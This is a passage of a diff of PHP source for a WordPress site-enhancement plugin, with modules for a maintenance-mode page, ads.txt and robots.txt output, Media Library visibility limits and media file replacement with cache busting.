$description = $options['maintenance_page_description'];
$background = ( isset( $options['maintenance_page_background'] ) ? $options['maintenance_page_background'] : 'stripes' );
$background_options = array('lines', 'stripes', 'curves');
// Set default
if ( !in_array( $background, $background_options ) ) {
$background = 'stripes';
}
$title = '';
$custom_head_code = '';
if ( 'lines' === $background ) {
// https://bgjar.com/curve-line
$background_image = "url(\"data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' version='1.1' xmlns:xlink='http://www.w3.org/1999/xlink' xmlns:svgjs='http://svgjs.com/svgjs' width='1920' height='1280' preserveAspectRatio='none' viewBox='0 0 1920 1280'%3e%3cg mask='url(%26quot%3b%23SvgjsMask1804%26quot%3b)' fill='none'%3e%3crect width='1920' height='1280' x='0' y='0' fill='url(%23SvgjsLinearGradient1805)'%3e%3c/rect%3e%3cpath d='M2294.46 927.36C2128.65 934.22 2078.52 1270.56 1693.36 1208.96 1308.19 1147.36 1373.24 145.96 1092.25-67.11' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2225.25 303.97C1963.34 332.56 1808.36 909.76 1359.97 905.57 911.59 901.38 820.47-55.06 494.7-167.42' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2247.58 281.19C2070.08 293.95 1967.68 651 1632.53 639.59 1297.39 628.18 1265.17-143.39 1017.49-253.69' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M1924.29 917.21C1696.21 904.78 1584.63 530.74 1114.13 494.81 643.63 458.88 546.92-26.2 303.97-50.85' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2009.59 400.31C1847.79 399.06 1696.02 240.31 1382.45 240.31 1068.87 240.31 1083.3 404.62 755.3 400.31 427.31 396 332.72-108.61 128.16-144.89' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cmask id='SvgjsMask1804'%3e%3crect width='1920' height='1280' fill='white'%3e%3c/rect%3e%3c/mask%3e%3clinearGradient x1='8.33%25' y1='-12.5%25' x2='91.67%25' y2='112.5%25' gradientUnits='userSpaceOnUse' id='SvgjsLinearGradient1805'%3e%3cstop stop-color='rgba(255%2c 255%2c 255%2c 1)' offset='0'%3e%3c/stop%3e%3cstop stop-color='rgba(193%2c 192%2c 192%2c 1)' offset='1'%3e%3c/stop%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e\")";
$background_style = 'background-image: ' . $background_image;
} elseif ( 'stripes' === $background ) {
// https://bgjar.com/shiny-overlay
$background_image = "url(\"data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' version='1.1' xmlns:xlink='http://www.w3.org/1999/xlink' xmlns:svgjs='http://svgjs.com/svgjs' width='2560' height='2560' preserveAspectRatio='none' viewBox='0 0 2560 2560'%3e%3cg mask='url(%26quot%3b%23SvgjsMask1276%26quot%3b)' fill='none'%3e%3crect width='2560' height='2560' x='0' y='0' fill='url(%23SvgjsLinearGradient1277)'%3e%3c/rect%3e%3cpath d='M0 0L524.59 0L0 986.23z' fill='rgba(255%2c 255%2c 255%2c .1)'%3e%3c/path%3e%3cpath d='M0 986.23L524.59 0L684.6500000000001 0L0 1251.4z' fill='rgba(255%2c 255%2c 255%2c .075)'%3e%3c/path%3e%3cpath d='M0 1251.4L684.6500000000001 0L1140.02 0L0 1816.94z' fill='rgba(255%2c 255%2c 255%2c .05)'%3e%3c/path%3e%3cpath d='M0 1816.94L1140.02 0L1666.1399999999999 0L0 1973.71z' fill='rgba(255%2c 255%2c 255%2c .025)'%3e%3c/path%3e%3cpath d='M2560 2560L1477.86 2560L2560 2129.39z' fill='rgba(0%2c 0%2c 0%2c .1)'%3e%3c/path%3e%3cpath d='M2560 2129.39L1477.86 2560L669.0099999999999 2560L2560 1244.5099999999998z' fill='rgba(0%2c 0%2c 0%2c .075)'%3e%3c/path%3e%3cpath d='M2560 1244.51L669.0099999999998 2560L531.5999999999998 2560L2560 928.88z' fill='rgba(0%2c 0%2c 0%2c .05)'%3e%3c/path%3e%3cpath d='M2560 928.8800000000001L531.5999999999997 2560L354.62999999999965 2560L2560 697.8700000000001z' fill='rgba(0%2c 0%2c 0%2c .025)'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cmask id='SvgjsMask1276'%3e%3crect width='2560' height='2560' fill='white'%3e%3c/rect%3e%3c/mask%3e%3clinearGradient x1='0%25' y1='0%25' x2='100%25' y2='100%25' gradientUnits='userSpaceOnUse' id='SvgjsLinearGradient1277'%3e%3cstop stop-color='rgba(255%2c 255%2c 255%2c 1)' offset='0'%3e%3c/stop%3e%3cstop stop-color='rgba(172%2c 172%2c 172%2c 1)' offset='1'%3e%3c/stop%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e\")";
$background_style = 'background-image: ' . $background_image;
} elseif ( 'curves' === $background ) {
// https://www.svgbackgrounds.com/
$background_image = "url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='100%25' viewBox='0 0 1600 800'%3E%3Cg %3E%3Cpath fill='%23e0e0e0' d='M486 705.8c-109.3-21.8-223.4-32.2-335.3-19.4C99.5 692.1 49 703 0 719.8V800h843.8c-115.9-33.2-230.8-68.1-347.6-92.2C492.8 707.1 489.4 706.5 486 705.8z'/%3E%3Cpath fill='%23e2e2e2' d='M1600 0H0v719.8c49-16.8 99.5-27.8 150.7-33.5c111.9-12.7 226-2.4 335.3 19.4c3.4 0.7 6.8 1.4 10.2 2c116.8 24 231.7 59 347.6 92.2H1600V0z'/%3E%3Cpath fill='%23e5e5e5' d='M478.4 581c3.2 0.8 6.4 1.7 9.5 2.5c196.2 52.5 388.7 133.5 593.5 176.6c174.2 36.6 349.5 29.2 518.6-10.2V0H0v574.9c52.3-17.6 106.5-27.7 161.1-30.9C268.4 537.4 375.7 554.2 478.4 581z'/%3E%3Cpath fill='%23e7e7e7' d='M0 0v429.4c55.6-18.4 113.5-27.3 171.4-27.7c102.8-0.8 203.2 22.7 299.3 54.5c3 1 5.9 2 8.9 3c183.6 62 365.7 146.1 562.4 192.1c186.7 43.7 376.3 34.4 557.9-12.6V0H0z'/%3E%3Cpath fill='%23EAEAEA' d='M181.8 259.4c98.2 6 191.9 35.2 281.3 72.1c2.8 1.1 5.5 2.3 8.3 3.4c171 71.6 342.7 158.5 531.3 207.7c198.8 51.8 403.4 40.8 597.3-14.8V0H0v283.2C59 263.6 120.6 255.7 181.8 259.4z'/%3E%3Cpath fill='%23ededed' d='M1600 0H0v136.3c62.3-20.9 127.7-27.5 192.2-19.2c93.6 12.1 180.5 47.7 263.3 89.6c2.6 1.3 5.1 2.6 7.7 3.9c158.4 81.1 319.7 170.9 500.3 223.2c210.5 61 430.8 49 636.6-16.6V0z'/%3E%3Cpath fill='%23f0f0f0' d='M454.9 86.3C600.7 177 751.6 269.3 924.1 325c208.6 67.4 431.3 60.8 637.9-5.3c12.8-4.1 25.4-8.4 38.1-12.9V0H288.1c56 21.3 108.7 50.6 159.7 82C450.2 83.4 452.5 84.9 454.9 86.3z'/%3E%3Cpath fill='%23f2f2f2' d='M1600 0H498c118.1 85.8 243.5 164.5 386.8 216.2c191.8 69.2 400 74.7 595 21.1c40.8-11.2 81.1-25.2 120.3-41.7V0z'/%3E%3Cpath fill='%23f5f5f5' d='M1397.5 154.8c47.2-10.6 93.6-25.3 138.6-43.8c21.7-8.9 43-18.8 63.9-29.5V0H643.4c62.9 41.7 129.7 78.2 202.1 107.4C1020.4 178.1 1214.2 196.1 1397.5 154.8z'/%3E%3Cpath fill='%23F8F8F8' d='M1315.3 72.4c75.3-12.6 148.9-37.1 216.8-72.4h-723C966.8 71 1144.7 101 1315.3 72.4z'/%3E%3C/g%3E%3C/svg%3E\")";
$background_style = 'background-image: ' . $background_image;
} elseif ( 'pattern' === $background ) {
$background_style = 'background-image: none;';
} elseif ( 'image' === $background ) {
$background_style = 'background-image: none;';
} elseif ( 'solid_color' === $background ) {
$background_style = 'background-color: #ffffff;';
} else {
}
?>
<html>
<head>
<title><?php
echo esc_html( $title );
?></title>
<link rel="stylesheet" id="asenha-maintenance" href="<?php
echo esc_html( ASENHA_URL ) . 'assets/css/maintenance.css';
?>" media="all">
<?php
echo wp_kses( $custom_head_code, get_kses_with_style_src_ruleset() );
?>
<meta name="viewport" content="width=device-width">
<?php
wp_site_icon();
?>
<style>
body {
<?php
echo wp_kses_post( $background_style );
?>;
background-size: cover;
background-position: center center;
}
<?php
?>
</style>
</head>
<body>
<div class="page-wrapper">
<div class="page-overlay">
</div>
<div class="message-box">
<h1><?php
echo wp_kses_post( $heading );
?></h1>
<div class="description"><?php
echo wp_kses_post( $description );
?></div>
</div>
</div>
</body>
</html>
<?php
exit;
}
}
/**
* Show Password Protection admin bar status icon
*
* @since 4.1.0
*/
public function show_maintenance_mode_admin_bar_icon() {
add_action( 'wp_before_admin_bar_render', [$this, 'add_maintenance_mode_admin_bar_item'] );
add_action( 'admin_head', [$this, 'add_maintenance_mode_admin_bar_item_styles'] );
add_action( 'wp_head', [$this, 'add_maintenance_mode_admin_bar_item_styles'] );
}
/**
* Add WP Admin Bar item
*
* @since 4.1.0
*/
public function add_maintenance_mode_admin_bar_item() {
global $wp_admin_bar;
$allow_frontend_access = $this->is_user_allowed_frontend_access();
if ( is_user_logged_in() ) {
if ( $allow_frontend_access ) {
$wp_admin_bar->add_menu( array(
'id' => 'maintenance_mode',
'title' => '',
'href' => admin_url( 'tools.php?page=admin-site-enhancements#utilities' ),
'meta' => array(
'title' => __( 'Maintenance mode is currently enabled for this site.', 'admin-site-enhancements' ),
),
) );
}
}
}
/**
* Add icon and CSS for admin bar item
*
* @since 4.1.0
*/
public function add_maintenance_mode_admin_bar_item_styles() {
$allow_frontend_access = $this->is_user_allowed_frontend_access();
if ( is_user_logged_in() ) {
if ( $allow_frontend_access ) {
?>
<style>
#wp-admin-bar-maintenance_mode {
background-color: #ff800c !important;
transition: .25s;
}
#wp-admin-bar-maintenance_mode > .ab-item {
color: #fff !important;
}
#wp-admin-bar-maintenance_mode > .ab-item:before {
content: "\f308";
top: 2px;
color: #fff !important;
margin-right: 0px;
}
#wp-admin-bar-maintenance_mode:hover > .ab-item {
background-color: #e5730a !important;
color: #fff;
}
</style>
<?php
}
}
}
/**
* Check if a user role is allowed to access the frontend
*
* @since 6.9.3
*/
public function is_user_allowed_frontend_access() {
$allow_frontend_access = false;
if ( current_user_can( 'edit_posts' ) ) {
$allow_frontend_access = true;
}
return $allow_frontend_access;
}
}
@@ -0,0 +1,45 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Manage ads.txt and app-ads.txt module
*
* @since 6.9.5
*/
class Manage_Ads_Appads_Txt {
/**
* Show content of ads.txt saved to options
*
* @since 3.2.0
*/
public function show_ads_appads_txt_content() {
$options = get_option( ASENHA_SLUG_U, array() );
$request = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : false;
if ( '/ads.txt' === $request ) {
$ads_txt_content = array_key_exists( 'ads_txt_content', $options ) ? $options['ads_txt_content'] : '';
header( 'Content-Type: text/plain' );
echo esc_textarea( $ads_txt_content );
die();
}
if ( '/app-ads.txt' === $request ) {
$app_ads_txt_content = array_key_exists( 'app_ads_txt_content', $options ) ? $options['app_ads_txt_content'] : '';
header( 'Content-Type: text/plain' );
echo esc_textarea( $app_ads_txt_content );
die();
}
}
}
@@ -0,0 +1,31 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Manage robots.txt module
*
* @since 6.9.5
*/
class Manage_Robots_Txt {
/**
* Maybe show custom robots.txt content
*
* @since 3.5.0
*/
public function maybe_show_custom_robots_txt_content( $output, $public ) {
$options = get_option( ASENHA_SLUG_U, array() );
if ( array_key_exists( 'robots_txt_content', $options ) && ! empty( $options['robots_txt_content'] ) ) {
$output = wp_strip_all_tags( $options['robots_txt_content'] );
}
return $output;
}
}
@@ -0,0 +1,96 @@
<?php
/**
* Media Library Access Control module.
*
* @package ASENHA
* @since 8.2.4
*/
namespace ASENHA\Classes;
// Exit if accessed directly.
if ( !defined( 'ABSPATH' ) ) {
exit;
}
/**
* Restrict Media Library/media modal attachment listings to the current user's uploads.
*
* Notes:
* - Restricts only attachment *listing* queries in wp-admin (Media Library list view and media modal/grid queries).
* - Does not affect frontend rendering, and does not block direct access to attachment URLs.
*/
class Media_Files_Visibility_Control {
/**
* Filter attachment query args for media modal / media grid.
*
* @param array $query_args WP_Query args for attachments.
* @return array
*/
public function filter_attachments_grid( $query_args ) {
if ( !is_admin() ) {
return $query_args;
}
if ( !$this->should_restrict_current_user() ) {
return $query_args;
}
$query_args['author'] = get_current_user_id();
return $query_args;
}
/**
* Restrict attachment list view in Media Library (`upload.php` list mode).
*
* @param \WP_Query $query Query instance.
* @return void
*/
public function filter_attachments_list( $query ) {
if ( !is_admin() ) {
return;
}
if ( !$query instanceof \WP_Query ) {
return;
}
if ( !$query->is_main_query() ) {
return;
}
// Only affect Media Library list screen.
global $pagenow;
if ( 'upload.php' !== $pagenow ) {
return;
}
$post_type = $query->get( 'post_type' );
if ( 'attachment' !== $post_type && (!is_array( $post_type ) || !in_array( 'attachment', $post_type, true )) ) {
return;
}
if ( !$this->should_restrict_current_user() ) {
return;
}
$query->set( 'author', get_current_user_id() );
}
/**
* Determine whether the current user should be restricted to seeing only their own uploads.
*
* @return bool
*/
private function should_restrict_current_user() {
if ( !is_user_logged_in() ) {
return false;
}
// Administrators (and multisite super admins) can always see all media.
if ( current_user_can( 'manage_options' ) ) {
return false;
}
if ( is_multisite() && is_super_admin() ) {
return false;
}
// Only apply when the user can upload files (i.e., they are a relevant role for media).
if ( !current_user_can( 'upload_files' ) ) {
return false;
}
// Free behavior: restrict all non-admin upload-capable users.
$should_restrict = true;
return (bool) $should_restrict;
}
}
@@ -0,0 +1,537 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Media Replacement module
*
* @since 6.9.5
*/
class Media_Replacement {
/**
* Modify the 'Edit' link to be 'Edit or Replace'
*
*/
public function modify_media_list_table_edit_link( $actions, $post ) {
$new_actions = array();
foreach( $actions as $key => $value ) {
if ( $key == 'edit' ) {
$new_actions['edit'] = '<a href="' . get_edit_post_link( $post ) . '" aria-label="Edit or Replace">Edit or Replace</a>';
} else {
$new_actions[$key] = $value;
}
}
return $new_actions;
}
/**
* Register attachment_fields_to_edit filter on admin_init for reliable admin-ajax hookup.
*
* @since 7.9.0
*/
public function register_attachment_fields_filter() {
add_filter( 'attachment_fields_to_edit', [ $this, 'add_media_replacement_button' ], 10, 2 );
}
/**
* Add media replacement button in the edit screen of media/attachment
*
* @since 1.1.0
*/
public function add_media_replacement_button( $fields, $post ) {
if ( ! is_admin() || $this->is_page_builder_context() ) {
return $fields;
}
global $pagenow, $typenow;
$is_attachment_edit = ( 'post.php' === $pagenow && 'attachment' === $typenow );
$screen = function_exists( 'get_current_screen' ) ? get_current_screen() : null;
$is_media_library = ( $screen && 'upload' === $screen->base );
// Attachment edit screen, media library screen, or grid modal compat via upload.php AJAX only.
if ( ! $is_attachment_edit && ! $is_media_library && ! $this->is_native_media_library_compat_ajax() ) {
return $fields;
}
$original_attachment_id = '';
$image_mime_type = '';
if ( is_object( $post ) ) {
$original_attachment_id = $post->ID;
if ( property_exists( $post, 'post_mime_type' ) ) {
$image_mime_type = $post->post_mime_type;
}
}
if ( $original_attachment_id ) {
// Add new field to attachment fields for the media replace functionality
$fields['asenha-media-replace'] = array();
$fields['asenha-media-replace']['label'] = '';
$fields['asenha-media-replace']['input'] = 'html';
$fields['asenha-media-replace']['html'] = '
<div id="media-replace-div' . '" class="postbox attachment-id-' . $original_attachment_id . '" data-original-image-id="' . $original_attachment_id . '">
<div class="postbox-header">
<h2 class="hndle ui-sortable-handle">' . __( 'Replace Media', 'admin-site-enhancements' ) . '</h2>
</div>
<div class="inside">
<button type="button" id="asenha-media-replace" class="button-secondary button-large asenha-media-replace-button" data-old-image-mime-type="' . $image_mime_type . '" onclick="replaceMedia(\'' . $original_attachment_id . '\',\'' . $image_mime_type . '\');">' . __( 'Select New Media File', 'admin-site-enhancements' ) . '</button>
<input type="hidden" id="new-attachment-id-' . $original_attachment_id . '" name="new-attachment-id-' . $original_attachment_id . '" />
<div class="asenha-media-replace-notes"><p>' . __( 'The current file will be replaced with the uploaded / selected file (of the same type) while retaining the current ID, publish date and file name. Thus, no existing links will break.', 'admin-site-enhancements' ) . '</p></div>
</div>
</div>
';
}
return $fields;
}
public function attachment_for_js( $image_url, $attachment_id ) {
// vi( $image_url );
// vi( $attachment_id );
}
/**
* Replace existing media with the newly updated file
*
* @link https://plugins.trac.wordpress.org/browser/replace-image/tags/1.1.7/hm-replace-image.php#L55
* @since 1.1.0
*/
public function replace_media( $old_attachment_id ) {
// vi( $old_attachment_id, '', 'replace_media has been triggered via edit_attachment_hook' );
// Get the new attachment/media ID, meta and mime type
if ( isset( $_POST['new-attachment-id-'.$old_attachment_id] ) && ! empty( $_POST['new-attachment-id-'.$old_attachment_id] ) ) {
$new_attachment_id = intval( sanitize_text_field( $_POST['new-attachment-id-'.$old_attachment_id] ) );
// vi( $new_attachment_id, '', '$new_attachment_id is detected in replace_media' );
// Verify the user has permission to delete the new attachment (source file for replacement)
// This prevents unauthorized users from using another user's attachment as a replacement source
// which would result in that attachment being deleted
if ( ! current_user_can( 'delete_post', $new_attachment_id ) ) {
return;
}
$old_post_meta = get_post( $old_attachment_id, ARRAY_A );
$old_post_mime = $old_post_meta['post_mime_type']; // e.g. 'image/jpeg'
// vi( $old_post_mime, '', 'old_post_mime is detected in replace_media' );
$new_post_meta = get_post( $new_attachment_id, ARRAY_A );
$new_post_mime = $new_post_meta['post_mime_type']; // e.g. 'image/jpeg'
// vi( $new_post_mime, '', 'new_post_mime is detected in replace_media' );
// Check if the media file ID selected via the media frame and passed on to the #new-attachment-id hidden field
// Ensure the mime type matches too
if ( ( ! empty( $new_attachment_id ) ) && is_numeric( $new_attachment_id ) && ( $old_post_mime == $new_post_mime ) ) {
// vi( $new_attachment_id, '', 'We are processing the replacement of the old image.' );
$new_attachment_meta = wp_get_attachment_metadata( $new_attachment_id );
// If original file is larger than 2560 pixel
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
if ( is_array( $new_attachment_meta ) && array_key_exists( 'original_image', $new_attachment_meta ) ) {
// Get the original media file path
$new_media_file_path = wp_get_original_image_path( $new_attachment_id );
} else {
// Get the path to newly uploaded media file. An image file name may end with '-scaled'.
$new_attachment_file = get_post_meta( $new_attachment_id, '_wp_attached_file', true );
$upload_dir = wp_upload_dir();
$new_media_file_path = $upload_dir['basedir'] . '/' . $new_attachment_file;
}
// Check if the new media file exist / was successfully uploaded
if ( ! is_file( $new_media_file_path ) ) {
return false;
}
// Delete existing/old media files. Post and post meta entries for it are still there in the database.
$this->delete_media_files( $old_attachment_id );
// If original file is larger than 2560 pixel
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
if ( is_array( $new_attachment_meta ) && array_key_exists( 'original_image', $new_attachment_meta ) ) {
// Get the original media file path
$old_media_file_path = wp_get_original_image_path( $old_attachment_id );
} else {
// Get the path to the old/existing media file that will be replaced and deleted. An image file name may end with '-scaled'.
$old_attachment_file = get_post_meta( $old_attachment_id, '_wp_attached_file', true );
$old_media_file_path = $upload_dir['basedir'] . '/' . $old_attachment_file;
}
// Check if the directory path to the old media file is still intact
if ( ! file_exists( dirname( $old_media_file_path ) ) ) {
// Recreate the directory path
mkdir( dirname( $old_media_file_path ), 0755, true );
}
// Copy the new media file into the old media file's path
copy( $new_media_file_path, $old_media_file_path );
// Regenerate attachment meta data and image sub-sizes from the new media file that was just copied to the old path
$old_media_post_meta_updated = wp_generate_attachment_metadata( $old_attachment_id, $old_media_file_path );
// Update new media file's meta data with the ones from the old media. i.e. new media file will carry over the post ID and post meta of the old media file. i.e. only the files are replaced for the old media's ID and post meta in the database.
wp_update_attachment_metadata( $old_attachment_id, $old_media_post_meta_updated );
// Delete the newly uploaded media file and it's sub-sizes, and also delete post and post meta entries for it in the database.
wp_delete_attachment( $new_attachment_id, true );
// Add old attachment ID to recently replaced media option. This will be used for cache busting to ensure the new replacement images are immediately loaded in the browser / wp-admin
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
$max_media_number_to_cache_bust = 5;
// vi( $recently_replaced_media, '', 'before' );
if ( count( $recently_replaced_media ) >= $max_media_number_to_cache_bust ) {
// Remove first/oldest attachment ID
array_shift( $recently_replaced_media );
}
$recently_replaced_media[] = $old_attachment_id;
$recently_replaced_media = array_unique( $recently_replaced_media );
// vi( $recently_replaced_media, '', 'after' );
$options_extra['recently_replaced_media'] = $recently_replaced_media;
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
sleep(2);
}
}
}
/**
* Delete the existing/old media files when performing media replacement
*
* @link https://plugins.trac.wordpress.org/browser/replace-image/tags/1.1.7/hm-replace-image.php#L80
* @since 1.1.0
*/
public function delete_media_files( $post_id ) {
$attachment_meta = wp_get_attachment_metadata( $post_id );
// Will get '-scaled' version if it exists, e.g. /path/to/uploads/year/month/file-name.jpg
$attachment_file_path = get_attached_file( $post_id );
// e.g. file-name.jpg
$attachment_file_basename = basename( $attachment_file_path );
// Delete intermediate images if there are any
if ( isset( $attachment_meta['sizes'] ) && is_array( $attachment_meta['sizes'] ) ) {
foreach( $attachment_meta['sizes'] as $size => $size_info) {
// /path/to/uploads/year/month/file-name.jpg --> /path/to/uploads/year/month/file-name-1024x768.jpg
$intermediate_file_path = str_replace( $attachment_file_basename, $size_info['file'], $attachment_file_path );
wp_delete_file( $intermediate_file_path );
}
}
// Delete the attachment file, which maybe the '-scaled' version
wp_delete_file( $attachment_file_path );
// If original file is larger than 2560 pixel
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
$attachment_original_file_path = wp_get_original_image_path( $post_id );
// Maybe delete the original file if it's an image file, and the original file path exists / was found
if ( $attachment_original_file_path ) {
wp_delete_file( $attachment_original_file_path );
}
}
/**
* Customize the attachment updated message
*
* @link https://github.com/WordPress/wordpress-develop/blob/6.0.2/src/wp-admin/edit-form-advanced.php#L180
* @since 1.1.0
*/
public function attachment_updated_custom_message( $messages ) {
$new_messages = array();
foreach( $messages as $post_type => $messages_array ) {
if ( $post_type == 'attachment' ) {
// Message ID for successful edit/update of an attachment is 4. e.g. /wp-admin/post.php?post=a&action=edit&classic-editor&message=4 Customize it here.
$messages_array[4] = 'Media file updated. You may need to <a href="https://fabricdigital.co.nz/blog/how-to-hard-refresh-your-browser-and-clear-cache" target="_blank">hard refresh</a> your browser to see the updated media preview image below.';
}
$new_messages[$post_type] = $messages_array;
}
return $new_messages;
}
/**
* Append cache busting parameter to the end of image srcset
*
* @since 5.7.0
*/
public function append_cache_busting_param_to_image_srcset( $sources, $size_array, $image_src, $image_meta, $attachment_id ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
$attachment_mime_type = get_post_mime_type( $attachment_id );
if ( in_array( $attachment_id, $recently_replaced_media )
&& false !== strpos( $attachment_mime_type, 'image' )
) {
foreach ( $sources as $size => $source ) {
$source['url'] .= $this->maybe_append_timestamp_parameter( $source['url'] );
$sources[$size] = $source;
// vi( $source, '', 'cache busting added via append_cache_busting_param_to_image_srcset' );
}
}
return $sources;
}
/**
* Append cache busting parameter to the end of image src
*
* @since 5.7.0
*/
public function append_cache_busting_param_to_attachment_image_src( $image, $attachment_id ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
$attachment_mime_type = get_post_mime_type( $attachment_id );
if ( ! empty( $image[0] )
&& in_array( $attachment_id, $recently_replaced_media )
&& false !== strpos( $attachment_mime_type, 'image' )
) {
$image[0] .= $this->maybe_append_timestamp_parameter( $image[0] );
// vi( $image, '', 'cache busting added via append_cache_busting_param_to_attachment_image_src' );
}
return $image;
}
/**
* Append cache busting parameter to image src for js
*
* @since 5.7.0
*/
public function append_cache_busting_param_to_attachment_for_js( $response, $attachment ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
$attachment_mime_type = get_post_mime_type( $attachment->ID );
if ( in_array( $attachment->ID, $recently_replaced_media )
// && false !== strpos( $attachment_mime_type, 'image' )
) {
if ( false !== strpos( $response['url'], '?' ) ) {
$response['url'] .= $this->maybe_append_timestamp_parameter( $response['url'] );
// vi( $response, '', 'cache busting added via append_cache_busting_param_to_attachment_for_js' );
}
if ( isset( $response['sizes'] ) ) {
foreach ( $response['sizes'] as $size_name => $size ) {
$response['sizes'][$size_name]['url'] .= $this->maybe_append_timestamp_parameter( $size['url'] );
// vi( $response, '', 'cache busting added via append_cache_busting_param_to_attachment_for_js' );
}
}
}
return $response;
}
/**
* Append cache busting parameter to attachment URL
*
* @since 6.8.2
*/
public function append_cache_busting_param_to_attachment_url( $url, $attachment_id ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
$attachment_mime_type = get_post_mime_type( $attachment_id );
if ( in_array( $attachment_id, $recently_replaced_media )
// && false !== strpos( $attachment_mime_type, 'image' )
) {
$url .= $this->maybe_append_timestamp_parameter( $url );
// vi( $url, '', 'cache busting added via append_cache_busting_param_to_attachment_url' );
}
return $url;
}
/**
* Maybe append timestamp parameter
*
* @since 7.7
*/
public function maybe_append_timestamp_parameter( $url ) {
$parts = parse_url( $url );
$additional_url_parameter = '';
if ( isset( $parts['query'] ) ) {
parse_str( $parts['query'], $query );
if ( isset( $query['t'] ) && ! empty( $query['t'] ) ) {
// Do not add another timestamp parameter
} else {
$additional_url_parameter = ( false === strpos( $url, '?' ) ? '?' : '&' ) . 't=' . time();
}
} else {
$additional_url_parameter = ( false === strpos( $url, '?' ) ? '?' : '&' ) . 't=' . time();
}
return $additional_url_parameter;
}
/**
* Whether the current request is in a page builder editor context.
*
* @since 7.9.0
*
* @return bool
*/
private function is_page_builder_context() {
$is_page_builder = false;
$request_action = isset( $_REQUEST['action'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$core_media_ajax_actions = array( 'get-attachment', 'save-attachment-compat', 'query-attachments' );
$skip_request_builder_keys = wp_doing_ajax() && in_array( $request_action, $core_media_ajax_actions, true );
if ( ! $skip_request_builder_keys && ! empty( $_REQUEST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( 'elementor' === $request_action ) {
$is_page_builder = true;
} elseif ( isset( $_REQUEST['fl_builder'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['et_fb'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['ct_builder'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['vc_editable'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['vcv-editable'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['tve'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['bricks'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['breakdance'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif ( isset( $_REQUEST['_cs_nonce'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$is_page_builder = true;
} elseif (
isset( $_REQUEST['tb-preview'], $_REQUEST['tb-id'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
) {
$is_page_builder = true;
}
}
if ( ! $is_page_builder ) {
$referer = $this->get_media_replacement_request_referer();
if ( $referer ) {
$referer_patterns = array(
'action=elementor',
'fl_builder',
'et_fb=',
'ct_builder',
'vc_editable',
'vcv-editable',
'tve=',
'tb-preview=',
'bricks=',
'breakdance=',
'breakdance_builder',
);
foreach ( $referer_patterns as $pattern ) {
if ( false !== strpos( $referer, $pattern ) ) {
$is_page_builder = true;
break;
}
}
}
}
/**
* Filters whether the current request is a page builder editor context.
*
* @since 7.9.0
*
* @param bool $is_page_builder Whether the request is from a page builder.
*/
return (bool) apply_filters( 'asenha_media_replacement_is_page_builder_context', $is_page_builder );
}
/**
* Whether this is a native Media Library compat AJAX request (upload.php).
*
* @since 7.9.0
*
* @return bool
*/
private function is_native_media_library_compat_ajax() {
if ( ! wp_doing_ajax() || $this->is_page_builder_context() ) {
return false;
}
$action = isset( $_REQUEST['action'] ) ? sanitize_key( wp_unslash( $_REQUEST['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
